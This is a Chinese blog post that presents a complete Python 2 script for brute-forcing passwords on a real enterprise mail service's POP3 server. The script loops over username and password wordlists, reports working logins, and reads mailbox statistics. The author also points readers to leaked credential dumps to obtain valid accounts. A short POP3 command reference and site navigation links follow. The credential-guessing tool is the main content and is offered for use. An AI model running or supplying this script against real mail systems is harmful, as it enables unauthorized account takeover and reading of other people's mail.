python制作企业邮箱的爆破脚本


Posted in Python onOctober 05, 2016

按照师傅给的任务,写了一个企业邮箱的爆破脚本,后续还有FTP,SSH等一些爆破的脚本。

我先说下整体思路:

总体就是利用python的poplib模块来从pop3服务器上交互,根据获取的相关信息,产生结果。POP3协议并不复杂,它也是采用的一问一答式的方式,你向服务器发送一个命令,服务器必然会回复一个信息.

1.首先验证参数是否正确

    Sys.argv[]是用来获取命令行参数的,sys.argv[0]表示代码本身文件路径,所以参数从1开始

2.然后从用户密码文件中读取信息
3.pop.getwelcome()用来获取连接服务器的响应状态
4.然后就是脚本的核心代码部分

server = "pop.qiye.163.com" //设置pop3服务器地址
pop = poplib.POP3(server,110) //连接pop3服务器
pop.user(user) //验证用户名
auth = pop.pass_(passwd) //验证密码
if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK”
 pring user,passwd

5.最后输出出来相关的用户信息

脚本代码如下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:joy_nick
@博客:http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
 print "\t --------------------------------------------------\n"
 print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
 sys.exit(1)

server = "pop.qiye.163.com"
success = []

try:
 users = open(sys.argv[1], "r").readlines()
except(IOError):
 print "[-] Error: urerlist打开失败!\n"
 sys.exit(1)

try:
 words = open(sys.argv[2], "r").readlines()
except(IOError):
 print "[-] Error: passlist打开失败!\n"
 sys.exit(1)
try:
 pop = poplib.POP3(server,110)
 welcome = pop.getwelcome()
 print welcome
 pop.quit()
except (poplib.error_proto):
 welcome = "No Response"
 pass

def mailbruteforce(listuser,listpwd):
 if len(listuser) < 1 or len(listpwd) < 1 :
 print "An error occurred: No user or pass list"
 return 1
 for user in listuser:
 for value in listpwd :
 user = user.replace("\n","")
 value = value.replace("\n","")
 try:
 print "-"*12
 print "[+] User:",user,"Password:",value
 time.sleep(1)
 pop = poplib.POP3(server,110)
 pop.user(user)
 auth = pop.pass_(value)
 print auth
 if auth.split(' ')[0]!= "+OK" :
 pop.quit()
 print "unknown error !"
 continue
 if pop.stat()[1] is None or pop.stat()[1] < 1 :
 pop.quit()
 print "获取信息失败!"
 continue
 ret = (user,value,pop.stat()[0],pop.stat()[1])
 success.append(ret)
 pop.quit()
 break
 except:
 #print "An error occurred:", msg
 pass
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)

print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
 for ret in success:
 print "\n\n[+] Login successful:",ret[0], ret[1]
 print "\t[+] Mail:",ret[2],"emails"
 print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"

测试结果:

python制作企业邮箱的爆破脚本

说明:

用户字典文件需要@domain.com,类似zhangsan@domain.com、lisi@domain.com、wangwu@domain.com这样的。由于我也没有企业邮箱的账号密码,也就没测试成功的,要是感兴趣,可以搜一下相关社工裤。

附:

python 中 os._exit(), sys.exit(), exit() 的区别是什么?

  1. sys.exit(n) 退出程序引发一个SystemExit异常, 可以捕获异常执行些清理工作. n默认值为0, 表示正常退出. 其他都是非正常退出. 没有捕获这个异常,会直接退出;捕获这个异常可以做一些额外的清理工作。 一般主程序中使用此退出
  2. os._exit(n), 直接退出 Python 解释器,其后的代码都不执行, 不抛异常, 不执行相关清理工作. 常用在子进程的退出.
  3. exit() 跟 C 语言等其他语言的 exit() 应该是一样的

pop3收取邮件的过程一般是:

  • 连接pop3服务器 (poplib.POP3.__init__)
  • 发送用户名和密码进行验证 (poplib.POP3.user poplib.POP3.pass_)
  • 获取邮箱中信件信息 (poplib.POP3.stat)
  • 收取邮件 (poplib.POP3.retr)
  • 删除邮件 (poplib.POP3.dele)
  • 退出 (poplib.POP3.quit)

命令 poplib方法 参数 状态 描述
-----------------------------------------------------------------------------------------------
USER user username 认可 用户名,此命令与下面的pass命令若成功,将导致状态转换
PASS pass_ password 认可 用户密码
APOP apop Name,Digest 认可 Digest是MD5消息摘要
-----------------------------------------------------------------------------------------------
STAT stat None 处理 请求服务器发回关于邮箱的统计资料,如邮件总数和总字节数
UIDL uidl [Msg#] 处理 返回邮件的唯一标识符,POP3会话的每个标识符都将是唯一的
LIST list [Msg#] 处理 返回邮件数量和每个邮件的大小
RETR retr [Msg#] 处理 返回由参数标识的邮件的全部文本
DELE dele [Msg#] 处理 服务器将由参数标识的邮件标记为删除,由quit命令执行
RSET rset None 处理 服务器将重置所有标记为删除的邮件,用于撤消DELE命令
TOP top [Msg#] 处理 服务器将返回由参数标识的邮件前n行内容,n必须是正整数
NOOP noop None 处理 服务器返回一个肯定的响应

Python 相关文章推荐
Python操作Mysql实例代码教程在线版(查询手册)
Feb 18 Python
web.py获取上传文件名的正确方法
Aug 26 Python
Python多进程同步Lock、Semaphore、Event实例
Nov 21 Python
Python实现模拟登录网易邮箱的方法示例
Jul 05 Python
Python3自动签到 定时任务 判断节假日的实例
Nov 13 Python
python pygame实现2048游戏
Nov 20 Python
python celery分布式任务队列的使用详解
Jul 08 Python
python wav模块获取采样率 采样点声道量化位数(实例代码)
Jan 22 Python
flask框架蓝图和子域名配置详解
Jan 25 Python
Vs Code中8个好用的python 扩展插件
Oct 12 Python
Python Django路径配置实现过程解析
Nov 05 Python
pycharm激活码免费分享适用最新pycharm2020.2.3永久激活
Nov 25 Python
python爬取NUS-WIDE数据库图片
Oct 05 #Python
python2.7的编码问题与解决方法
Oct 04 #Python
Python Sqlite3以字典形式返回查询结果的实现方法
Oct 03 #Python
Python实现屏幕截图的代码及函数详解
Oct 01 #Python
Python爬取APP下载链接的实现方法
Sep 30 #Python
Python脚本实现12306火车票查询系统
Sep 30 #Python
Python ldap实现登录实例代码
Sep 30 #Python
You might like
php抓即时股票信息
2006/10/09 PHP
PHP小技巧搜集,每个PHPer都来露一手
2007/01/02 PHP
php 自写函数代码 获取关键字 去超链接
2010/02/08 PHP
php将数据库导出成excel的方法
2010/05/07 PHP
Thinkphp框架 表单自动验证登录注册 ajax自动验证登录注册
2016/12/27 PHP
php显示页码分页类的封装
2017/06/08 PHP
js中点击空白区域时文本框与隐藏层的显示与影藏问题
2013/08/26 Javascript
js从Cookies里面取值的简单实现
2014/06/30 Javascript
使用jQuery简单实现模拟浏览器搜索功能
2014/12/21 Javascript
AngularJS Ajax详解及示例代码
2016/08/17 Javascript
使用bootstrap实现多窗口和拖动效果
2016/09/22 Javascript
JavaScript输入框字数实时统计更新
2017/06/17 Javascript
JavaScript实现音乐自动切换和轮播
2017/11/05 Javascript
vue项目常用组件和框架结构介绍
2017/12/24 Javascript
vue-router history模式下的微信分享小结
2018/07/05 Javascript
jQuery中常用动画效果函数知识点整理
2018/08/19 jQuery
js使用swiper实现层叠轮播效果实例代码
2018/12/12 Javascript
javascript 原型与原型链的理解及应用实例分析
2020/02/10 Javascript
vue数据响应式原理知识点总结
2020/02/16 Javascript
ES5 模拟 ES6 的 Symbol 实现私有成员功能示例
2020/05/06 Javascript
Python解释执行原理分析
2014/08/22 Python
python中sets模块的用法实例
2014/09/30 Python
在django中图片上传的格式校验及大小方法
2019/07/28 Python
Django调用百度AI接口实现人脸注册登录代码实例
2020/04/23 Python
python两种获取剪贴板内容的方法
2020/11/06 Python
25个CSS3动画按钮和菜单教程分享
2012/10/03 HTML / CSS
苹果香港官方商城:Apple香港
2016/09/14 全球购物
Under Armour安德玛荷兰官网:美国高端运动科技品牌
2019/07/10 全球购物
Simons官方网站:加拿大时尚零售商
2020/02/20 全球购物
澳大利亚最受欢迎的女士度假服装:Kabana Shop
2020/10/10 全球购物
教师一帮一活动总结
2014/07/08 职场文书
纪念九一八事变演讲稿:忘记意味着背叛
2014/09/14 职场文书
秋季校运会广播稿100字
2014/09/18 职场文书
故宫的导游词
2015/01/31 职场文书
2015年个人思想总结
2015/03/09 职场文书
2016元旦晚会主持人开场白和结束语
2015/12/03 职场文书